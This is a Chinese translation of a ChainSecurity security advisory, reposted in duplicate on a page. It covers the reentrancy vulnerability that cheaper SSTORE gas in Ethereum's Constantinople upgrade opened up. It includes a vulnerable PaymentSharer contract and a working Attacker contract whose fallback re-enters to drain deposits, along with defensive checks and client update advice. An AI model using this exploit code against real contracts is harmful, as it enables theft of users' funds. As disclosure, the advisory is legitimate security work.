代码分析:以太坊网络君士坦丁堡升级的漏洞细节

在以太坊网络君士坦丁堡升级前夕,爆出“可重入”漏洞导致升级推迟,本文是漏洞细节

即将到来的以太坊网络Constantinople升级为SSTORE操作引入了更便宜的gas成本。作为一种不必要的副作用,当在Solidity智能合约中使用address.transfer(...)或address.send(...)时,这可能引发重入攻击。以前,这些函数被认为是重入安全的,现在它们不再安全。
 

这段代码出了什么问题?

以下是一个简短的智能合约,在Constantinople之前不易受到重入攻击,但之后却可以。您可以在我们的Github上找到完整的源代码,包括攻击者合约。
pragma solidity ^0.5.0;

contract PaymentSharer {
 mapping(uint => uint) splits;
 mapping(uint => uint) deposits;
 mapping(uint => address payable) first;
 mapping(uint => address payable) second;

 function init(uint id, address payable _first, address payable _second) public {
   require(first[id] == address(0) && second[id] == address(0));
   require(first[id] == address(0) && second[id] == address(0));
   first[id] = _first;
   second[id] = _second;
 }

 function deposit(uint id) public payable {
   deposits[id] += msg.value;
 }

 function updateSplit(uint id, uint split) public {
   require(split <= 100);
   splits[id] = split;
 }

 function splitFunds(uint id) public {
   // Here would be: 
   // Signatures that both parties agree with this split

   // Split
   address payable a = first[id];
   address payable b = second[id];
   uint depo = deposits[id];
   deposits[id] = 0;

   a.transfer(depo * splits[id] / 100);
   b.transfer(depo * (100 - splits[id]) / 100);
 }
}

新的易受攻击代码的示例

该代码以一种意想不到的方式受到攻击:它模拟一种安全的资金均摊服务。双方可以共同接收资金,决定如何split资金以及接收支付。攻击者可以创建这样一对地址,其中第一个地址是以下列出的攻击者合约,第二个地址是任何攻击者账户。该攻击者将充值一些钱。

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
 address private victim;
 address payable owner;

 constructor() public {
   owner = msg.sender;
 }

 function attack(address a) external {
   victim = a;
   PaymentSharer x = PaymentSharer(a);
   x.updateSplit(0, 100);
   x.splitFunds(0);
 }

 function () payable external {
   address x = victim;
   assembly{
       mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
       pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
   }    
 }

 function drain() external {
   owner.transfer(address(this).balance);
 }
}
攻击者合约列为第一个地址
该攻击者将调用自己合约的attack函数,以便在一个交易中披露以下的事件:
1、攻击者使用updateSplit设置当前split,以确保后续升级是便宜的。这是Constantinople升级的结果。攻击者以这样的方式设置split,即第一个地址(合约地址)接收所有的资金。
2、攻击者合约调用splitFunds函数,该函数将执行检查*,并使用transfer将这对地址的全部存款发到合约。
3、从回调函数,攻击者再次更新split,这次将所有资金分配到攻击者的第二个账户。
4、splitFunds的执行继续,全部存款也转到第二个攻击者账户。
简而话之,攻击者只是从PaymentSharer合约中偷走了其他人的以太币,并且可以继续。
 

为什么现在可以攻击?

在Constantinople之前,每个storage操作都需要至少5000gas。这远远超过了使用transfer或send来调用合约时发送的2300gas费。
在Constantinople之后,正在改变“dirty”存储槽的storage操作仅需要200gas。要使存储槽变的dirty,必须在正在进行的交易期间更改它。如上所示,这通常可以通过攻击者合约调用一些改变所需变量的public函数来实现。然后,通过使易受攻击的合约调用攻击者合约,例如,使用msg.sender.transfer(...),攻击者合约可以使用2300gas费成功操纵漏洞合约的变量。

必须满足某些先决条件才能使合同变得易受攻击:
1.必须有一个函数A,函数中transfer/send之后,紧跟状态改变操作。这有时可能是不明显的,例如第二次transfer或与另一个智能合约的互动。
2. 攻击者必须能够访问一个函数B,它可以(a)改变状态, (b)其状态变化与函数A的状态发生冲突。
3.函数B需要在少于1600gas时能执行(2300gas费- 为CALL提供700gas)。

我的合约是否易受攻击?

要测试您是否容易受到攻击: 
(a)检查transfer事件后是否有任何操作。
(b)检查这些操作是否改变了存储状态,最常见的是分配一些存储变量。 如果你调用另一个合约,例如,token的 transfer方法*,检查哪些变量被修改。做一个列表。
(c)检查合约中非管理员可以访问的任何其他方法是否使用这些变量中的一个。
(d)检查这些方法是否自行改变存储状态 。
(e)检查是否有低于2300gas的方法,请记住SSTORE操作只有200gas。
如果出现这种情况,攻击者很可能会导致您的合约陷入不良状态。 总的来说,这是另一个提醒,即为什么Checks-Effects-Interactions模式如此重要。

 

作为节点运营商或矿工,我需要做什么?

下载最新版本的以太坊客户端:

最新的geth客户(v1.8.20)

最新的Parity客户端(v2.1.11-stable)

最新Harmony客户端(v2.3 Build 72)

最新的万神殿客户端(v0.8.3)

最新的Trinity客户端(v0.1.0-alpha.20)

以太坊钱包/迷雾的最新版本(v0.11.1)

 

| 作者:ChainSecurity

| 翻译:猎豹区块链安全团队

生成图片
9

发表评论

代码分析:以太坊网络君士坦丁堡升级的漏洞细节

星期三 2019-01-16 20:23:37

即将到来的以太坊网络Constantinople升级为SSTORE操作引入了更便宜的gas成本。作为一种不必要的副作用,当在Solidity智能合约中使用address.transfer(...)或address.send(...)时,这可能引发重入攻击。以前,这些函数被认为是重入安全的,现在它们不再安全。
 

这段代码出了什么问题?

以下是一个简短的智能合约,在Constantinople之前不易受到重入攻击,但之后却可以。您可以在我们的Github上找到完整的源代码,包括攻击者合约。
pragma solidity ^0.5.0;

contract PaymentSharer {
 mapping(uint => uint) splits;
 mapping(uint => uint) deposits;
 mapping(uint => address payable) first;
 mapping(uint => address payable) second;

 function init(uint id, address payable _first, address payable _second) public {
   require(first[id] == address(0) && second[id] == address(0));
   require(first[id] == address(0) && second[id] == address(0));
   first[id] = _first;
   second[id] = _second;
 }

 function deposit(uint id) public payable {
   deposits[id] += msg.value;
 }

 function updateSplit(uint id, uint split) public {
   require(split <= 100);
   splits[id] = split;
 }

 function splitFunds(uint id) public {
   // Here would be: 
   // Signatures that both parties agree with this split

   // Split
   address payable a = first[id];
   address payable b = second[id];
   uint depo = deposits[id];
   deposits[id] = 0;

   a.transfer(depo * splits[id] / 100);
   b.transfer(depo * (100 - splits[id]) / 100);
 }
}

新的易受攻击代码的示例

该代码以一种意想不到的方式受到攻击:它模拟一种安全的资金均摊服务。双方可以共同接收资金,决定如何split资金以及接收支付。攻击者可以创建这样一对地址,其中第一个地址是以下列出的攻击者合约,第二个地址是任何攻击者账户。该攻击者将充值一些钱。

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
 address private victim;
 address payable owner;

 constructor() public {
   owner = msg.sender;
 }

 function attack(address a) external {
   victim = a;
   PaymentSharer x = PaymentSharer(a);
   x.updateSplit(0, 100);
   x.splitFunds(0);
 }

 function () payable external {
   address x = victim;
   assembly{
       mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
       pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
   }    
 }

 function drain() external {
   owner.transfer(address(this).balance);
 }
}
攻击者合约列为第一个地址
该攻击者将调用自己合约的attack函数,以便在一个交易中披露以下的事件:
1、攻击者使用updateSplit设置当前split,以确保后续升级是便宜的。这是Constantinople升级的结果。攻击者以这样的方式设置split,即第一个地址(合约地址)接收所有的资金。
2、攻击者合约调用splitFunds函数,该函数将执行检查*,并使用transfer将这对地址的全部存款发到合约。
3、从回调函数,攻击者再次更新split,这次将所有资金分配到攻击者的第二个账户。
4、splitFunds的执行继续,全部存款也转到第二个攻击者账户。
简而话之,攻击者只是从PaymentSharer合约中偷走了其他人的以太币,并且可以继续。
 

为什么现在可以攻击?

在Constantinople之前,每个storage操作都需要至少5000gas。这远远超过了使用transfer或send来调用合约时发送的2300gas费。
在Constantinople之后,正在改变“dirty”存储槽的storage操作仅需要200gas。要使存储槽变的dirty,必须在正在进行的交易期间更改它。如上所示,这通常可以通过攻击者合约调用一些改变所需变量的public函数来实现。然后,通过使易受攻击的合约调用攻击者合约,例如,使用msg.sender.transfer(...),攻击者合约可以使用2300gas费成功操纵漏洞合约的变量。

必须满足某些先决条件才能使合同变得易受攻击:
1.必须有一个函数A,函数中transfer/send之后,紧跟状态改变操作。这有时可能是不明显的,例如第二次transfer或与另一个智能合约的互动。
2. 攻击者必须能够访问一个函数B,它可以(a)改变状态, (b)其状态变化与函数A的状态发生冲突。
3.函数B需要在少于1600gas时能执行(2300gas费- 为CALL提供700gas)。

我的合约是否易受攻击?

要测试您是否容易受到攻击: 
(a)检查transfer事件后是否有任何操作。
(b)检查这些操作是否改变了存储状态,最常见的是分配一些存储变量。 如果你调用另一个合约,例如,token的 transfer方法*,检查哪些变量被修改。做一个列表。
(c)检查合约中非管理员可以访问的任何其他方法是否使用这些变量中的一个。
(d)检查这些方法是否自行改变存储状态 。
(e)检查是否有低于2300gas的方法,请记住SSTORE操作只有200gas。
如果出现这种情况,攻击者很可能会导致您的合约陷入不良状态。 总的来说,这是另一个提醒,即为什么Checks-Effects-Interactions模式如此重要。

 

作为节点运营商或矿工,我需要做什么?

下载最新版本的以太坊客户端:

最新的geth客户(v1.8.20)

最新的Parity客户端(v2.1.11-stable)

最新Harmony客户端(v2.3 Build 72)

最新的万神殿客户端(v0.8.3)

最新的Trinity客户端(v0.1.0-alpha.20)

以太坊钱包/迷雾的最新版本(v0.11.1)

 

| 作者:ChainSecurity

| 翻译:猎豹区块链安全团队